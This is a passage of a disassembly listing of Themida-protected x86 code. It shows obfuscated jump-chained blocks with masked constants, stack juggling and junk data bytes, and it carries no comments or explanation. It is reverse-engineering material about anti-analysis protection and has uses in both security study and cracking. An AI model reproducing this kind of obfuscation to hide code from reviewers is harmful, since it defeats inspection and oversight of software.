		dd 1F56h
; ---------------------------------------------------------------------------


loc_59338C:				; CODE XREF: Themida_:0058C114j
		push	ebx
		add	dword ptr [esp], 2DFA07B9h
		mov	ecx, [esp]
		add	esp, 4
		sub	ecx, 2DFA07B9h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_592E07
; ---------------------------------------------------------------------------


loc_5933AE:				; CODE XREF: Themida_:0058A460j
		add	esp, 4
		pop	esi
		rep movsd
		add	esp, [edx+38h]
		push	ecx
		mov	ecx, 3FE61E38h
		jmp	loc_594F03
; ---------------------------------------------------------------------------


loc_5933C2:				; CODE XREF: Themida_:00592422j
		jz	loc_58FEC9
		sub	ecx, 0FFE6DEC0h
		add	ecx, edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_58EF52
; ---------------------------------------------------------------------------
		db 81h
		dd 945948EFh, 7A3BE946h, 0D988FFFFh, 90E9CA88h,	87FFFF7Ah
		dd 248B240Ch, 0E3895324h, 0FFE640E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5933FD:				; CODE XREF: Themida_:0058E3C5j
		neg	ebp
		push	edi
		mov	edi, 2BF0EC3h
		xor	edi, 78B55049h
		xor	ebp, edi
		jmp	loc_59750E
; ---------------------------------------------------------------------------
		dw 0FF66h
		dd 6EB4E932h, 605FFFFh,	11D4A6Fh, 6F062DD8h, 34FF1D4Ah
		db 24h,	5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	ebx, 39264A9Bh
		push	edi
		push	ebp
		mov	ebp, 19E63797h
		push	edx
		push	337823AFh
		pop	edx
		neg	edx
		jb	loc_58D94E
		shr	edx, 2
		and	edx, 6E0275E6h
		pop	esi
		mov	cx, [esp]
		push	ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_592890
; ---------------------------------------------------------------------------


loc_59346E:				; CODE XREF: Themida_:0058B3B8j
		pop	ebp
		push	eax
		mov	eax, 30CB1067h
		add	eax, 0CF34EF9Dh
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		sub	esp, 4
		jmp	loc_58D5F8
; ---------------------------------------------------------------------------


loc_59348F:				; CODE XREF: Themida_:00594EA2j
		popa
		jmp	loc_58F1B9
; ---------------------------------------------------------------------------


loc_593495:				; CODE XREF: Themida_:0058FC12j
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		shr	ecx, 0Ah
		push	2E0Dh
		mov	[esp], ecx
		jmp	loc_592D25
; ---------------------------------------------------------------------------
		dw 0E9ADh
		dd 0FFFFAAE1h, 0FF6E15E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5934B9:				; CODE XREF: Themida_:00590CF2j
					; Themida_:00591ACAj
		mov	ecx, 2
		push	eax
		mov	eax, 6AD33F19h
		push	edx
		mov	edx, 69A97D20h
		shr	edx, 1
		jmp	loc_59726D
; ---------------------------------------------------------------------------


loc_5934D1:				; CODE XREF: Themida_:005904D8j
		mov	ecx, ebx
		jmp	loc_59215C
; ---------------------------------------------------------------------------
		dd 0FEF8CF80h, 0AC44E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5934E2:				; CODE XREF: Themida_:00592A1Aj
		neg	ebp
		or	ebp, 77AA6A87h
		push	esi
		mov	esi, 6C4439F6h
		shr	esi, 3
		xor	esi, 3D2715E9h
		add	esi, 51150578h
		or	esi, 122F5521h
		jmp	loc_58FAD1
; ---------------------------------------------------------------------------


loc_59350A:				; CODE XREF: Themida_:0058D4B3j
		pop	esi
		add	[esp+4], ebp
		push	esi
		mov	esi, 10A703A4h
		sub	[esp+8], esi
		pop	esi
		mov	ebp, [esp]
		push	edx
		jmp	loc_595FF0
; ---------------------------------------------------------------------------


loc_593523:				; CODE XREF: Themida_:00592983j
		add	edi, ebx
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		push	edx
		jmp	loc_595AC9
; ---------------------------------------------------------------------------
		db 80h,	2 dup(0C6h)
		dd 33758C0Fh, 0DE860000h, 0DE86D3F6h, 0D01DCE80h, 56E98BE6h
		dd 59F26852h, 148B0E91h, 93BAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59355A:				; CODE XREF: Themida_:00596522j
		pop	esi
		add	eax, 0A5530099h
		sub	ebp, 6A496FDDh
		add	ebp, eax
		add	ebp, 6A496FDDh
		pop	eax
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_590857
; ---------------------------------------------------------------------------


loc_59357F:				; CODE XREF: Themida_:0058D31Aj
		sub	bl, al
		add	bl, 3Dh
		sub	bl, 0E3h
		add	bl, 0D5h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_595BDA
; ---------------------------------------------------------------------------
		dd 0FFD203E9h, 0FEFEB6FFh, 0C1D1E9CEh, 8A0FFFFFh, 0FFFFD458h
		dd 8813EC80h, 0EE8058E7h, 0B7FE00AFh, 241C8920h, 12BC68h
		dd 24048900h, 8085B151h, 0C180C5E1h, 0CCFCE931h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5935D2:				; CODE XREF: Themida_:0058C452j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_595288
; ---------------------------------------------------------------------------
aNuCOdUs3c	db 'NU½—#Žd',9,'ξι3C',0
		dd 51982D00h, 0D8016CB2h, 0B2519805h, 13822D6Ch, 505B4A75h
		dd 42474FFh, 24048F58h,	0FFCE86E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59361D:				; CODE XREF: Themida_:0059268Fj
		add	edx, 5F9A1ED2h
		xor	edx, 6E251E62h
		dec	edx
		dec	edx
		add	edx, 36C2B5CFh
		jmp	loc_591CE7
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 60682404h, 8900007Ch, 0E789243Ch, 44F0E9h, 0E9536600h
		dd 1A1h
; ---------------------------------------------------------------------------


loc_593650:				; CODE XREF: Themida_:0058C1EDj
		sub	ebx, 313F7FA4h
		not	ebx
		xor	ebx, 964D8558h
		jmp	loc_591BF4
; ---------------------------------------------------------------------------


loc_593663:				; CODE XREF: Themida_:0058D8E4j
		and	edi, 305B452Dh
		jmp	loc_5910FE
; ---------------------------------------------------------------------------


loc_59366E:				; CODE XREF: Themida_:00594937j
		mov	eax, 587B7BD9h
		push	ebp
		mov	ebp, 760B4DB4h
		xor	eax, ebp
		pop	ebp
		inc	eax
		push	edi
		jmp	loc_591BD6
; ---------------------------------------------------------------------------
		db 59h
		dd 0D828A204h, 0FF7A4DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59368D:				; CODE XREF: Themida_:0058D957j
		push	esi
		mov	esi, 103853A5h
		neg	esi
		xor	esi, 3FA426FFh
		sub	esi, 4A13137Ch
		jmp	loc_591F52
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4CCB3C44h, 0C7CE8146h, 0F75BCD6Dh, 0D6C681DEh, 29DECE80h
		dd 0F9015EF1h, 30FBA52h, 0D1017EFFh, 29B8505Ah,	1428E47h
		dd 2C12E9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5936D6:				; CODE XREF: Themida_:005956D1j
		sub	esp, 4
		mov	[esp], eax
		mov	al, bh
		push	edx
		jmp	loc_5957FD
; ---------------------------------------------------------------------------


loc_5936E4:				; CODE XREF: Themida_:loc_593152j
		not	al
		jmp	loc_58B62C
; ---------------------------------------------------------------------------


loc_5936EB:				; CODE XREF: Themida_:0058E74Fj
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	edx
		xchg	edx, [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_58A4CF
; ---------------------------------------------------------------------------


loc_59370C:				; CODE XREF: Themida_:0058A4A9j
		push	esi
		mov	esi, 49E64C75h
		add	ebp, esi
		pop	esi
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_58C50A
; ---------------------------------------------------------------------------


loc_593728:				; CODE XREF: Themida_:0058A6BAj
		mov	edx, [esp]
		add	esp, 4
		push	1637h
		mov	[esp], edi
		jmp	loc_595E21
; ---------------------------------------------------------------------------


loc_59373E:				; CODE XREF: Themida_:0058C827j
		pop	edi
		push	ebp
		push	ebx
		mov	ebx, 493C0696h
		mov	ebp, 493C0694h
		xor	ebp, ebx
		pop	ebx
		add	esi, ebp
		jmp	loc_592247
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 68000000h, 61E3h, 0FFA9F7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593765:				; CODE XREF: Themida_:0058D655j
		mov	ecx, [esp]
		jmp	loc_58DBA6
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 3
		dd 18C7C281h, 0EDE97670h, 5A000006h, 9E9CE30h, 66FFFFD2h
		dd 0EEBE6656h, 0F509663Eh, 24348B66h, 8370E952h, 8158FFFFh
		dd 2535BEC2h, 0E9EA0154h, 0FFFFFA21h
; ---------------------------------------------------------------------------


loc_5937A4:				; CODE XREF: Themida_:0058E4E6j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_5937B2:				; CODE XREF: Themida_:00591D4Cj
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 0FFFFFFFFh
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_58DE8C
; ---------------------------------------------------------------------------
		db 29h
		dd 9DE95FF8h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5937D7:				; CODE XREF: Themida_:00596AA7j
		movzx	cx, al
		jmp	loc_597291
; ---------------------------------------------------------------------------


loc_5937E0:				; CODE XREF: Themida_:00592A92j
		add	eax, 25622F7h
		add	eax, ebp
		sub	eax, 25622F7h
		jmp	loc_593AF1
; ---------------------------------------------------------------------------
		db 0B7h, 2Ch, 4
		dd 2CF8001Fh, 2C5B661Fh, 7E5FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593802:				; CODE XREF: Themida_:0058CD76j
		mov	bh, ah
		pop	eax
		jmp	loc_592150
; ---------------------------------------------------------------------------


loc_59380A:				; CODE XREF: Themida_:0058CAE8j
		add	ebp, 613E0866h
		sub	ebp, 7461519h
		pop	esi
		jmp	loc_58F2B6
; ---------------------------------------------------------------------------
		dd 8104EBC1h, 522B07EBh, 0C8870F3Bh, 81FFFFEEh,	9DFFC1F3h
		dd 0E9D88997h, 0FFFFC9E5h, 4008D8BDh, 0E0BCE91Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593842:				; CODE XREF: Themida_:0058C23Ej
		add	esi, edi
		push	ecx
		mov	ecx, 0F8D260Ch
		shr	ecx, 3
		xchg	esi, ecx
		not	esi
		xchg	esi, ecx
		add	ecx, 17233BCh
		add	ecx, 5F73773Fh
		add	esi, 322C6109h
		sub	esi, ecx
		sub	esi, 322C6109h
		pop	ecx
		pop	edi
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_595CCD
; ---------------------------------------------------------------------------


loc_593886:				; CODE XREF: Themida_:00593160j
		add	ebp, edx
		jmp	loc_597E52
; ---------------------------------------------------------------------------


loc_59388D:				; CODE XREF: Themida_:005900DEj
		add	esp, 4
		push	ecx
		pop	ebp
		mov	ecx, [esp]
		push	ecx
		jmp	loc_590FC6
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 5065h, 89240489h,	405E0h,	0EC810000h, 4
		dd 0FFBBADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5938B9:				; CODE XREF: Themida_:00595E1Cj
		push	ebx
		jmp	loc_58F12F
; ---------------------------------------------------------------------------


loc_5938BF:				; CODE XREF: Themida_:0059214Bj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_590538
; ---------------------------------------------------------------------------
		db 66h
		dd 5024048Bh, 0EDE9E089h, 1FFFFDEh, 1C875EF3h, 37E95C24h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5938EF:				; CODE XREF: Themida_:00597D72j
		add	esi, 80820Ch
		mov	edi, esi
		pop	esi
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp


loc_5938FF:				; CODE XREF: Themida_:00590B3Bj
		push	3343h
		mov	[esp], esi
		mov	esi, ebx
		push	1FE1h
		mov	[esp], edx
		jmp	loc_58EC51
; ---------------------------------------------------------------------------


loc_593916:				; CODE XREF: Themida_:00596472j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_59391B:				; CODE XREF: Themida_:0058E101j
		push	438Ah
		jmp	loc_58DFB2
; ---------------------------------------------------------------------------


loc_593925:				; CODE XREF: Themida_:00592B72j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		jmp	loc_593B98
; ---------------------------------------------------------------------------


loc_59393E:				; CODE XREF: Themida_:0058BA7Bj
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_592540
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 4EC8324h, 83243C89h,	248904ECh, 24048324h, 53515F04h
		dd 436AE9h
		db 0
; ---------------------------------------------------------------------------


loc_593969:				; CODE XREF: Themida_:0059197Fj
		sub	eax, 589C7B72h
		jmp	loc_58E8F1
; ---------------------------------------------------------------------------


loc_593973:				; CODE XREF: Themida_:0058A941j
		add	edx, ecx
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	ebp
		jmp	loc_59762D
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8953240Ch, 4EC83E3h,	0E9240489h, 0FFFF6B8Dh,	8324048Bh
		dd 0EB8104C4h, 6E037CCh, 0C381C301h, 6E037CCh, 2838E9h
		dd 4C18100h, 81000000h,	4C1h, 240C8700h, 0BD55515Ch, 542F23F9h
		dd 15DE989h, 2434FFC8h,	81240C8Bh, 4C4h, 59545100h, 4C181h
		dd 0C1830000h, 0FA05E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5939EA:				; CODE XREF: Themida_:00594302j
		sub	edi, ebp
		pop	ebp
		add	ebx, edi
		jmp	loc_59283F
; ---------------------------------------------------------------------------


loc_5939F4:				; CODE XREF: Themida_:005955F6j
		xchg	ebp, ebx
		xor	ebx, 6EEBB81Fh
		sub	ebp, ebx
		jmp	loc_594356
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 4BE56h, 0F5010000h, 6824348Bh, 3AF3h, 89240489h
		dd 405E0h, 4050000h, 87000000h,	505C2404h, 4B8h, 58C50100h
		dd 5C242C87h, 0FFFFEA81h, 0C281FFFFh, 32BE0F0Ch, 815AD309h
		dd 0FFEAFFEBh, 687CE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593A52:				; CODE XREF: Themida_:0058B62Dj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_593C25
; ---------------------------------------------------------------------------
		dw 0EED1h
		dd 0EA3DEE81h, 0F28986EDh, 400FE9h, 0BD555E00h,	2F5F5D08h
		dd 44E7ED81h, 5EE961E2h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_593A83:				; CODE XREF: Themida_:0059110Ej
		not	edi
		add	edi, 32B2FB6h
		mov	eax, edi
		pop	edi
		jmp	loc_58A868
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 35BBh, 54243C89h,	81243C8Bh, 4C4h, 4EC8100h
		dd 89000000h, 0C4E9240Ch
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_593AB7:				; CODE XREF: Themida_:00593CC6j
		jmp	loc_58D413
; ---------------------------------------------------------------------------


loc_593ABC:				; CODE XREF: Themida_:0058FD3Ej
		and	bh, 22h
		jnz	loc_594A46
		push	ecx
		mov	ch, 47h
		jmp	loc_58D149
; ---------------------------------------------------------------------------
		db 50h,	88h, 0D3h
		dd 0FE01EB80h, 5D4E9CBh, 0F3290000h, 0EC81585Eh, 4, 0BE243489h
		dd 2, 0FFFDF2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593AF1:				; CODE XREF: Themida_:005937ECj
		add	eax, 2DFA0828h
		pop	ebp
		jmp	loc_59309E
; ---------------------------------------------------------------------------
		dd 6624248Bh, 9C2404FFh, 0FF67C5E9h, 4C483FFh, 17E9CFFEh
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593B13:				; CODE XREF: Themida_:00592738j
		mov	esi, esp
		jmp	loc_5920F0
; ---------------------------------------------------------------------------


loc_593B1A:				; CODE XREF: Themida_:0058B897j
		add	ebx, 52DC097Fh
		add	ebx, eax
		sub	ebx, 52DC097Fh
		sub	ebx, 4243074Eh
		jmp	loc_59194E
; ---------------------------------------------------------------------------


loc_593B33:				; CODE XREF: Themida_:00591249j
		or	edx, 62D86549h
		push	edi
		mov	edi, 84070032h
		sub	edx, 2D4B7C94h
		add	edx, edi
		push	ebx
		push	ebp
		jmp	loc_595E36
; ---------------------------------------------------------------------------


loc_593B4E:				; CODE XREF: Themida_:00591B56j
		sub	ebx, 583D7BCEh
		sub	ebx, ebp
		jmp	loc_5904D1
; ---------------------------------------------------------------------------
		db 0BBh
		dd 28195356h, 7322F381h, 0E3C10B5Eh, 0D7DE904h,	34FF0000h
		dd 54505824h, 0BF8FE958h, 4634FFFFh, 0C5280DB5h, 0FFAD25E9h
		dd 0EC8F0FFFh, 0C1FFFFCCh, 840F05E7h, 0FFFFC01Bh, 5A02E7C1h
; ---------------------------------------------------------------------------


loc_593B98:				; CODE XREF: Themida_:00593939j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5927E1
; ---------------------------------------------------------------------------
		db 0ACh, 4, 0A2h
		dd 17B75352h, 0FE03EFC0h, 2EC780CFh, 505BFA88h,	0FFD4EAE9h
		dd 5DEF31FFh, 0FFD7F7E9h, 0A1E95CFFh, 5BFFFFCCh, 22E9C328h
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593BD3:				; CODE XREF: Themida_:00596852j
		add	edx, 0DBD7D8B5h
		sub	esi, 269B42BCh
		jmp	loc_593F93
; ---------------------------------------------------------------------------


loc_593BE4:				; CODE XREF: Themida_:00597FAEj
		mov	eax, 72C852D7h
		add	eax, 613A767Bh
		inc	eax
		sub	eax, 669B71E3h
		add	edi, eax
		jmp	loc_58E115
; ---------------------------------------------------------------------------


loc_593BFB:				; CODE XREF: Themida_:005952A9j
		mov	edx, esp
		push	ebp
		mov	ebp, 8E23BD1h
		add	ebp, 2D0752F8h
		jmp	loc_597613
; ---------------------------------------------------------------------------


loc_593C0E:				; CODE XREF: Themida_:0058D6CBj
		sub	ebp, 4291057Dh
		jnz	loc_594BC3
		jmp	loc_597961
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h
		db 0
; ---------------------------------------------------------------------------


loc_593C25:				; CODE XREF: Themida_:00593A5Dj
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	7E51h
		jmp	loc_58B249
; ---------------------------------------------------------------------------
		dd 24E268h, 0CDE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_593C42:				; CODE XREF: Themida_:0058F0C9j
		mov	ecx, 4
		jmp	loc_58A3E0
; ---------------------------------------------------------------------------
		dd 0B724D0F6h, 0EC3810Fh, 2E90000h, 89FFFFE6h, 0ADB1242Ch
		db 55h
; ---------------------------------------------------------------------------


loc_593C61:				; CODE XREF: Themida_:00594C5Ej
		sub	edi, 62B9F0CDh
		add	ebx, edi
		pop	edi
		add	ebx, 3B6C9EA0h
		add	ecx, 3E43252Bh
		add	ecx, ebx
		sub	ecx, 3E43252Bh
		pop	ebx
		jmp	loc_58F013
; ---------------------------------------------------------------------------
		dd 8704C783h, 535C243Ch, 503AB652h, 0C388F088h,	24148B58h
		dd 4C481h, 93B10000h, 0F1E9D928h, 89FFFFD2h, 74FF243Ch
		dd 3C8B0424h, 4C48324h,	5C24048Fh, 2896664h, 0FFB51AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593CC1:				; CODE XREF: Themida_:00593D65j
		shl	esi, 7
		neg	esi
		jno	loc_593AB7
		jmp	loc_58F1B1
; ---------------------------------------------------------------------------
		db 80h,	0E7h, 22h
		dd 398E850Fh, 0F660000h, 75E902B6h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593CE3:				; CODE XREF: Themida_:00595418j
		add	ebp, 83ABD5A8h
		or	ebp, 782F01D4h
		jmp	loc_58E495
; ---------------------------------------------------------------------------


loc_593CF4:				; CODE XREF: Themida_:0058E6CBj
		add	ebx, eax
		push	3949h
		mov	[esp], edi
		mov	edi, 2FB8467Bh
		sub	edi, 0F9DC1114h
		push	ebp
		jmp	loc_593EBE
; ---------------------------------------------------------------------------
		db 89h
		dd 0F8E9241Ch
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_593D17:				; CODE XREF: Themida_:0059282Fj
		mov	edx, 0D6AFF97Eh
		jmp	loc_5979F6
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 81E78957h, 4C7h, 6AE95600h
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_593D33:				; CODE XREF: Themida_:0058F1B4j
		pop	eax
		add	bl, 0E6h
		add	al, 88h
		add	al, bl
		sub	al, 88h
		pop	ebx
		push	edx
		jmp	loc_58D557
; ---------------------------------------------------------------------------


loc_593D44:				; CODE XREF: Themida_:00594D3Bj
		push	cx
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
aBirT4h		db 'λr!’4h',0
		dd 29000000h, 1C8B241Ch, 0EEEFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593D62:				; CODE XREF: Themida_:loc_591CEEj
		shr	esi, 5
		jmp	loc_593CC1
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4, 4E25EF81h, 0CF011C1Ch, 4E25C781h,	0C8B1C1Ch, 4C48324h
		dd 2474FF57h, 48F5F04h,	0BF0F5C24h, 27A868C8h, 0C890000h
		dd 6530E924h, 2C89FFFFh, 71A66824h, 0C15D663Fh,	8A0F04EDh
		dd 1D8h, 1F2EED81h, 1EE94D3Bh, 8900000Dh, 19E92414h, 59FFFFCEh
		dd 0ABB25253h, 28E9D788h, 0FF00001Bh, 68582434h, 31CDh
		dd 89242C89h, 4B850E5h,	1000000h, 24048BC5h, 2D5CE9h, 2434FF00h
		dd 0E9240C8Bh, 0FFFFC009h, 2434FF54h, 4C48158h,	68000000h
		dd 6AC6h, 0BE243489h, 1DE1626h,	8105EEC1h, 0EF0B5F6h, 67702D00h
		dd 0CFE90AC7h, 0F6FFFF67h, 12CC80D4h, 8004E4C0h, 0B151D1C4h
		dd 42F180F0h, 0C006E1C0h, 34E903E9h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593E3F:				; CODE XREF: Themida_:loc_58DED8j
		jmp	loc_58B22C
; ---------------------------------------------------------------------------
		dd 3481555Ah, 0F20A5824h, 0F3815B64h, 64F20A58h, 0FF9801E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593E59:				; CODE XREF: Themida_:0058B76Aj
		sub	eax, 36DA3842h
		push	edx
		mov	edx, eax
		mov	ecx, edx
		jmp	loc_590B9E
; ---------------------------------------------------------------------------
aSe		db ')ΣιE/',0
		dw 5700h
		dd 0C5ABF9BFh, 59545129h, 4C181h, 0E9830000h, 240C8704h
		dd 8924248Bh, 68502414h, 44E2235Ah, 29283558h, 4FE962E1h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_593E9B:				; CODE XREF: Themida_:0058B8E3j
		or	eax, eax
		jz	loc_5907E1
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_590D34
; ---------------------------------------------------------------------------


loc_593EAE:				; CODE XREF: Themida_:0058B79Bj
		mov	esi, [esp]
		jmp	loc_58C13B
; ---------------------------------------------------------------------------


loc_593EB6:				; CODE XREF: Themida_:0058BB8Fj
		mov	[esp], ebx
		jmp	loc_5919AD
; ---------------------------------------------------------------------------


loc_593EBE:				; CODE XREF: Themida_:00593D0Aj
		mov	ebp, 1CB660BBh
		neg	ebp
		sub	ebp, 6A810DFAh
		xor	ebp, 76C4F278h
		sub	ebx, ebp
		pop	ebp
		sub	ebx, edi
		jmp	loc_591C9E
; ---------------------------------------------------------------------------


loc_593EDB:				; CODE XREF: Themida_:00595735j
		pop	eax
		push	3259h
		mov	[esp], esi
		mov	esi, 6EEB32EBh
		shl	esi, 6
		dec	esi
		sub	esi, 11EC4B1Dh
		push	0
		sub	[esp], esi
		jmp	loc_592059
; ---------------------------------------------------------------------------


loc_593F00:				; CODE XREF: Themida_:00594882j
		xchg	edi, ebp
		push	edx
		mov	edx, 0C0FA05B1h
		xor	ebp, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	ebx, ebp
		jmp	loc_592E67
; ---------------------------------------------------------------------------


loc_593F18:				; CODE XREF: Themida_:00595515j
					; Themida_:0059787Dj
		mov	ebx, 6ADC4F39h
		sub	ebx, 5C4BE992h
		add	edi, ebx
		pop	ebx
		jmp	loc_5922FF
; ---------------------------------------------------------------------------
		db 68h
		dd 24633F5Eh, 0FF8BB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_593F35:				; CODE XREF: Themida_:005926EEj
		pop	ecx
		pop	edx
		push	ecx
		mov	ecx, 4
		jmp	loc_58C059
; ---------------------------------------------------------------------------


loc_593F42:				; CODE XREF: Themida_:00594A67j
		pop	ax
		add	cl, 6
		sub	cl, 85h
		sub	cl, bh
		add	cl, 85h
		sub	cl, 6
		jmp	loc_58BCCD
; ---------------------------------------------------------------------------
		db 0BDh
		dd 58CE28DBh, 622CBA52h, 0E28150B4h, 1151499Ah,	0FF9703E9h
		dd 96E9ACFFh, 80FFFFBAh, 870FAECEh, 0FFFF86AAh,	88C0EE80h
		dd 0B914E9F1h, 46B4FFFFh, 1F2EED81h, 22E94D3Bh
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593F93:				; CODE XREF: Themida_:00593BDFj
		add	esi, edx
		add	esi, 269B42BCh
		mov	edx, [esp]
		add	esp, 4
		sub	esi, 2821494h
		add	esi, 14BF35EEh
		add	esi, eax
		sub	esi, 14BF35EEh
		add	esi, 2821494h
		push	ebp
		push	eax
		jmp	loc_58BAB2
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 4EFB124h, 28CE0462h,	0AABEE9C8h, 77FFFFFFh, 62F4E940h
		dd 83ACFFFFh, 69E904ECh, 59000010h, 0BE87E95Fh,	478FFFFFh
		dd 62DCE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_593FF2:				; CODE XREF: Themida_:00596296j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_58F677
; ---------------------------------------------------------------------------
		db 89h
		dd 0B3BA52E7h, 0F7284B33h, 0FBC281D2h, 8177030Fh, 0B7DC43F2h
		dd 0E9D7014Eh, 0FFFFAF89h, 4240481h, 8B000000h,	0FAE9243Ch
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_594037:				; CODE XREF: Themida_:00595E11j
		sub	eax, 7DB64511h
		sub	eax, edx
		add	eax, 7DB64511h
		jmp	loc_59321F
; ---------------------------------------------------------------------------


loc_594048:				; CODE XREF: Themida_:00597D40j
		mov	ah, 0ECh
		inc	ah
		xor	ah, 0BBh
		add	ch, ah
		pop	eax
		sub	ch, bl
		sub	ch, 56h
		jmp	loc_592A3A
; ---------------------------------------------------------------------------


loc_59405C:				; CODE XREF: Themida_:0058D88Fj
		not	edi
		push	edx
		push	ebp
		mov	ebp, 1F9E23AFh
		xor	ebp, 32424DD5h
		jns	loc_58A723
		and	ebp, 2E86331Eh
		or	ebp, 400507A8h


loc_59407D:				; CODE XREF: Themida_:00592394j
		pop	eax
		and	ebp, ebx
		pop	ebx
		sub	ebp, 0EEFD9FECh
		xor	eax, ebp
		pop	ebp
		push	ebp
		jmp	loc_58FE0E
; ---------------------------------------------------------------------------


loc_594090:				; CODE XREF: Themida_:0058CBA6j
		mov	eax, [esp]
		jmp	loc_595DB6
; ---------------------------------------------------------------------------


loc_594098:				; CODE XREF: Themida_:005953E5j
		jns	loc_58F304
		add	ebp, 3EED7CF3h
		mov	eax, ebp
		mov	ebp, [esp]
		jmp	loc_58C352
; ---------------------------------------------------------------------------
		dw 0C3FEh
		dd 0E963B551h, 0FFFFD236h
; ---------------------------------------------------------------------------


loc_5940B8:				; CODE XREF: Themida_:0058BA24j
		pop	esp
		push	ebp
		mov	ebp, 190807E6h
		not	ebp
		jmp	loc_591697
; ---------------------------------------------------------------------------
		dw 3489h
		dd 796DBE24h, 0EEC16A59h, 0D0850F05h, 8100000Dh, 1109A9F6h
		dd 5EEC15Eh
		db 46h,	53h
; ---------------------------------------------------------------------------


